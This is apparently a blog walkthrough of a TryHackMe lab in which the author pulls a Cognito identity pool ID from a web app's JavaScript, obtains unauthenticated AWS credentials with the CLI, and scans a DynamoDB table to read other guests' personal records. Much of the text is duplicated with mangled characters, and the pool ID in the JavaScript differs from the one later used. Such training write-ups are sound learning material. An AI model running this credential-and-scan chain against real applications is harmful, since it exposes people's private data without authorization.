July 30, 2026
ποΈ Hacker Holidays: The Byte Lotus Hotel β AWS Cognito & IAM Misconfiguration
βNo account needed. No login screen. It justβ¦ knows things about you the moment you open it.β
By Priyanka Behera
4 min read
"No account needed. No login screen. It just⦠knows things about you the moment you open it."
That sentence immediately caught my attention.
While working through the Hacker Holidays β The Byte Lotus Hotel room on TryHackMe, I was presented with a seemingly harmless wellness application. The app was free, required no registration, and didn't ask for a username or password.
Yet somehow, it knew who the guest was.
That raised the most important question: If there is no visible authentication, what is actually granting the application access to AWS resources?
The challenge objective was to discover that mechanism, obtain the credentials being issued behind the scenes, determine what those credentials could access, and ultimately retrieve information belonging to another guest.
Here's the complete walkthrough.
π¨ The Scenario
The target was the Byte Lotus Wellness application:
http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/The room provided three main objectives:
- Track down the AWS mechanism issuing credentials behind the scenes.
- Use those credentials to access more than your own record from the application's DynamoDB table.
- Retrieve the flag from another guest's data.
The application itself looked simple. There was no login page. No registration form. No username. No password. The interface simply presented a guest dashboard. That made the underlying AWS architecture much more interesting.
π Step 1 β Inspecting the Web Application
I was working from the TryHackMe AttackBox, so I started from the terminal.
Rather than immediately trying random AWS commands, I first wanted to understand how the web application was constructed.
I retrieved the HTML and searched for JavaScript files:
curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/ | grep -oE 'src="[^"]+\.js[^"]*"'curl -s http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/ | grep -oE 'src="[^"]+\.js[^"]*"'The response was:
src="https://sdk.amazonaws.com/js/aws-sdk-2.1500.0.min.js"
src="app.js"src="https://sdk.amazonaws.com/js/aws-sdk-2.1500.0.min.js"
src="app.js"This was an important clue. The application was explicitly loading the AWS SDK for JavaScript. That suggested that the browser itself was interacting directly with AWS services. The next target was therefore app.js.
π Step 2 β Downloading the JavaScript
I downloaded the JavaScript file:
wget http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.jswget http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.jsThe download completed successfully:
Length: 1684 (1.6K)
Saving to: 'app.js'Length: 1684 (1.6K)
Saving to: 'app.js'I then searched the JavaScript for AWS-related keywords:
grep -iE "cognito|identity|dynamodb|credentials|pool|region|table" app.jsgrep -iE "cognito|identity|dynamodb|credentials|pool|region|table" app.jsThis immediately exposed some very useful configuration values.
βοΈ Step 3 β Discovering AWS Cognito
The JavaScript revealed:
IDENTITY_POOL_ID = "us-east-1:4d571309-b090-c923-f9ec-712a6ac5f6a4"
AWS_REGION = "us-east-1"
TABLE_NAME = "complimentary-GuestWellnessProfiles"IDENTITY_POOL_ID = "us-east-1:4d571309-b090-c923-f9ec-712a6ac5f6a4"
AWS_REGION = "us-east-1"
TABLE_NAME = "complimentary-GuestWellnessProfiles"So we had discovered:
Cognito Identity Pool
us-east-1:836c0949-292d-485b-b532-52d5ca7bb688us-east-1:836c0949-292d-485b-b532-52d5ca7bb688AWS Region
us-east-1us-east-1DynamoDB Table
complimentary-GuestWellnessProfilescomplimentary-GuestWellnessProfilesBut the most important discovery was how credentials were being configured.
The JavaScript contained:
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
IdentityPoolId: IDENTITY_POOL_ID,
});AWS.config.credentials = new AWS.CognitoIdentityCredentials({
IdentityPoolId: IDENTITY_POOL_ID,
});That explained the mystery.
The application wasn't using a traditional login system.
Instead, it was obtaining temporary AWS credentials through an Amazon Cognito Identity Pool.
π§© Step 4 β Understanding the Guest ID
The application also had a guestId() function:
function guestId() {
let id = localStorage.getItem("byteLotusGuestId");
if (!id) {
id = "guest-" + Math.random().toString(36).slice(2, 10);
localStorage.setItem("byteLotusGuestId", id);
}
return id;
}function guestId() {
let id = localStorage.getItem("byteLotusGuestId");
if (!id) {
id = "guest-" + Math.random().toString(36).slice(2, 10);
localStorage.setItem("byteLotusGuestId", id);
}
return id;
}This was another interesting design choice.
The application generated a random guest ID and stored it in browser localStorage.
There was no real account authentication.
The application then used that guest ID when requesting data from DynamoDB.
ποΈ Step 5 β Understanding the DynamoDB Request
The JavaScript showed exactly how the application retrieved the guest's information:
dynamodb.getItem(
{
TableName: TABLE_NAME,
Key: { guest_id: { S: guestId() } },
},
...
);dynamodb.getItem(
{
TableName: TABLE_NAME,
Key: { guest_id: { S: guestId() } },
},
...
);The intended design appeared to be:
Guest
β
Random guest ID
β
DynamoDB GetItem
β
Only retrieve that guest's recordGuest
β
Random guest ID
β
DynamoDB GetItem
β
Only retrieve that guest's recordBut there was an important question:
Was AWS IAM actually enforcing that restriction?
Or was the application simply trusting the guest ID?
π Step 6 β Obtaining a Cognito Identity
I used the AWS CLI to request an identity from the exposed Cognito Identity Pool:
aws cognito-identity get-id \
--identity-pool-id us-east-1:836c0949-292d-485b-b532-52d5ca7bb688 \
--region us-east-1aws cognito-identity get-id \
--identity-pool-id us-east-1:836c0949-292d-485b-b532-52d5ca7bb688 \
--region us-east-1The response returned:
{
"IdentityId": "us-east-1:4d571309-b0c6-cdfb-3ecc-a6e1ddc32ee9"
}{
"IdentityId": "us-east-1:4d571309-b0c6-cdfb-3ecc-a6e1ddc32ee9"
}Now we had a Cognito Identity ID.
ποΈ Step 7 β Requesting Temporary AWS Credentials
Next, I requested temporary credentials for that identity:
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:4d571309-b0c6-cdfb-3ecc-a6e1ddc32ee9 \
--region us-east-1aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:4d571309-b0c6-cdfb-3ecc-a6e1ddc32ee9 \
--region us-east-1AWS returned temporary credentials containing:
AccessKeyId
SecretKey
SessionToken
ExpirationAccessKeyId
SecretKey
SessionToken
ExpirationThese credentials were temporary and associated with the Cognito identity.
At this point, the investigation had moved from simply inspecting the application to actually obtaining an AWS identity.
β οΈ A Small Mistake Along the Way
I initially mixed up the values when configuring the AWS environment variables.
The important mapping is:
AccessKeyId β AWS_ACCESS_KEY_ID
SecretKey β AWS_SECRET_ACCESS_KEY
SessionToken β AWS_SESSION_TOKENAccessKeyId β AWS_ACCESS_KEY_ID
SecretKey β AWS_SECRET_ACCESS_KEY
SessionToken β AWS_SESSION_TOKENThe Cognito IdentityId is not the AWS access key.
After correcting the mapping, I verified the identity with:
aws sts get-caller-identityaws sts get-caller-identityInitially, I encountered:
InvalidClientTokenIdInvalidClientTokenIdThis was caused by the incorrect credential configuration. I cleared the environment variables and obtained a fresh Cognito identity and temporary credentials.
π€ Step 8 β Identifying the IAM Role
After correctly configuring the credentials, I ran:
aws sts get-caller-identityaws sts get-caller-identityThis time, the response was:
{
"UserId": "AROAU2VYTBGYCEB4JME2S:CognitoIdentityCredentials",
"Account": "332173347248",
"Arn": "arn:aws:sts::332173347248:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials"
}{
"UserId": "AROAU2VYTBGYCEB4JME2S:CognitoIdentityCredentials",
"Account": "332173347248",
"Arn": "arn:aws:sts::332173347248:assumed-role/complimentary-cognito-unauth-role/CognitoIdentityCredentials"
}This was the critical confirmation.
The credentials were associated with:
complimentary-cognito-unauth-rolecomplimentary-cognito-unauth-roleIn other words, we were operating through the unauthenticated Cognito IAM role.
Now came the most important part of the challenge: What could this role actually do?
π₯ Step 9 β Testing DynamoDB Access
The JavaScript had already revealed the DynamoDB table:
complimentary-GuestWellnessProfilescomplimentary-GuestWellnessProfilesI tested whether the temporary credentials could enumerate the table:
aws dynamodb scan \
--table-name complimentary-GuestWellnessProfiles \
--region us-east-1aws dynamodb scan \
--table-name complimentary-GuestWellnessProfiles \
--region us-east-1And it worked. That was the vulnerability.
The application appeared to intend that a guest could retrieve their own record using GetItem, but the underlying IAM configuration allowed the Cognito identity to perform a DynamoDB Scan.
Instead of:
Guest β Own RecordGuest β Own Recordwe effectively had:
Guest
β
Unauthenticated Cognito Identity
β
IAM Role
β
DynamoDB Scan
β
All Guest RecordsGuest
β
Unauthenticated Cognito Identity
β
IAM Role
β
DynamoDB Scan
β
All Guest RecordsThis was an authorization failure caused by excessive IAM permissions.
π΅οΈ Step 10 β Enumerating Guest Data
The DynamoDB scan returned multiple records.
The records contained information such as:
guest_id
name
email
phone
location
password
notesguest_id
name
email
phone
location
password
notesFor example, one record contained:
guest_id:
guest-vibeguest_id:
guest-vibealong with other guest information.
Another record belonged to:
guest-lamboguest-lamboThis demonstrated that the application's authorization boundary could be bypassed at the AWS data layer.
The application wasn't just exposing the current guest's information.
It was exposing information belonging to other guests.
π© Step 11 β Retrieving the Flag
After successfully scanning the DynamoDB table, I saved the output and inspected the resulting data directly using cat.
cat scan.jsoncat scan.jsonπ Final Flag
THM{fr33_app_fr33_d4t4!}THM{fr33_app_fr33_d4t4!}
π― Flag captured.
Final Thoughts
What initially looked like a simple "free wellness application" turned into a practical lesson in cloud authorization. There was no password cracking. No SQL injection. No complicated exploit.
The entire attack chain came down to understanding how the application obtained its AWS credentials and then questioning whether those credentials had been granted more permissions than necessary.
The most valuable takeaway from this room was simple: A system can have authentication, temporary credentials, and access controls β and still be insecure if authorization is too broad.